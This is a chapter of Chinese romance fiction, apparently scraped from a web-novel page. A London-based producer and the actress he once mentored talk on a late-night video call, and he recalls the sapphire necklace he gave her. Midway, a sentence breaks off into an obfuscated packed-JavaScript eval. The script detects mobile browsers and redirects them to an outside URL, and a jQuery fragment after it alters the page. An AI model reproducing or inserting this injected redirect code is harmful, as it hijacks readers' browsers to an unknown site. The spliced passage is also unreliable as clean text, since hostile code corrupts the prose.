回到酒店已经是深夜十点。
沈清雨卸了妆蜷在飘窗上，北京城的灯火在眼底碎成星河。
视频请求刚响半声就被她接通。
镜头晃动了两下，徐然洲身后的落地窗映着伦敦铅灰的云，他不动声色地将手机支架调高十五度。
这个角度刚好藏起眼尾倦意，却让落地窗外的雨幕在镜框边沿洇开灰调水痕。
“老师查岗？”沈清雨的面膜边角随笑声轻颤，擦过麦克风漾起细碎电流。
徐然洲指腹无意识摩挲着平板的烫金logo，林蔓那句“小姑娘看着心情不错”在喉间转了个弯：“拍摄...”
话头被突然逼近的镜头截断。
沈清雨突然伸手调整，蓝宝石坠子滑进衣领。暗光里莹莹一点，像他心口燃着的火。“说什么？”
分明是二十五岁的人，眼睛还像初遇时浸在泉水里的黑玛瑙。
“说姜撞奶比马卡龙顺口。”徐然洲端起骨瓷杯，任红茶雾气虚化镜头。
桌角珐琅瓶里躺着几枚枯茉莉。
风干香气渗进橡木纹，像去年她蹲在后巷糖水铺时，发梢沾的桂花蜜。
珍珠耳坠在屏幕里划出半弧，他突然想起上回视频会议，她也是这样边卸睫毛膏边和他讨论新剧本，晕染开的眼线像雨夜里迷途的猫。
“方案定了？”
沈清雨蜷起脚尖去勾毛毯，珍珠白的甲油在镜头里一闪而过：“师父要不要猜猜看？”
她总在要紧处时刻故意换他师父，像是裹着蜜糖的小小软刺。
徐然洲望着像素都掩不住的灵动神色，唇角不自觉陷落旧时光——十八岁的新人演员攥着《演员自我修养》问他眼神戏，书脊还印着他学生时代的藏书章。
此刻那本书正斜倚在她手边，被香薰灯镀上茉莉与雪松的光晕。
“沈老师。”他刻意切换成制片人点评演员时的语气，“代言期间要注意...”
“徐然洲。”名字在她齿间化作绕指柔。
“我的茉莉呢？”镜头突然翻转，办公桌上枯萎的花枝在雨幕里颤抖，像七年前排练厅那件被钉在记忆里的白棉裙。
她转身时裙摆开成茉莉，而他被钉死在师者的枷锁里。
“在这儿。”他终究败下阵来，“茉莉枯了。”徐然洲淡淡开口，语气里却暗含一丝委屈。
沈清雨的轻笑传来，“下周赔你两株西府海棠？好不好呀。”
瓶中那束茉莉突然被风掀落几瓣。
他俯身去捡，听见自己声音裹着时差带来的砂砾感：“明天的红毯，确定.....？”
问的究竟是红毯还是别的什么，连他自己都辨不分明。
“您教过我的，肢体动作比语言更直白。”
徐然洲望着那抹晃动的幽蓝，像爱琴海涨潮时浮动的月光，让他想起想起三天前拍卖厅现场。
当竞价牌举到第七轮时，光斑掠过手机屏幕扫过她发来的“突然想看地中海的蓝眼泪”。
可巧他最近因为收购案，忙得不可开交。
收购案资料在膝头堆成雪山，秘书第五次提醒登机时间的间隙，蓝宝石的鉴定证书已经越过大洋彼岸，送到那个让他牵肠挂肚的小姑娘手上了。
徐然洲闭眼就能描摹出那项
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632692|172594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
链垂在沈清雨锁骨间的模样。
那些没来得及说的早已言明：戛然而止的第八轮竞价，凌晨三点改签的航班，以及永远搁浅在地中海岸的蓝眼泪。
收购案第一轮敲定的午夜，他在备忘录里打下又删去：海水太远，至少让珠光替你泊岸。
视频挂断后，伦敦的雨还在下。
徐然洲解开领带的手指顿了顿，真丝布料滑过枯萎的茉莉，带起细小到可以忽略的窸窣。
雨继续敲打玻璃幕墙，他望着加密文件夹里存了七年的聊天记录：从她好奇的追问阿里斯托芬①精神内涵的语音条，到不久前发来的红毯预案，每个字节都裹着时光的痕迹。
指尖抚过已经褪色的老照片，徐然洲想起二十二岁的沈清雨蜷在片场躺椅上：“老师，怎么用眼神说爱而不俗气？”
那时她刚拍完人生第一场吻戏，眼尾还泛着胭脂红。
他教她用睫毛颤抖代替热泪，用垂眸的速度丈量心动的频率。
却始终没敢说，这些技巧都是从望向她的千百次偷瞥里提炼的。
徐然洲身后的雨幕变成流动的镜子。
他看见二十三岁的自己正站在某块碎片里，老旧排练厅的夕阳穿过铁艺窗棂，那个穿白棉裙的姑娘赤脚踩在木地板上。
打开窗，潮湿水汽渗入西装褶皱。
他闻见2005年排练厅的尘味，雨季的潮气附着在台词本泛黄的纸页上，如同此刻玻璃上凝结的雨珠正缓慢爬行。
恍惚看见姑娘在玻璃那头仰起脸，说出台词本第三十二页被咖啡渍洇湿的句子——“你是我温暖的手套，冰冷的啤酒。”②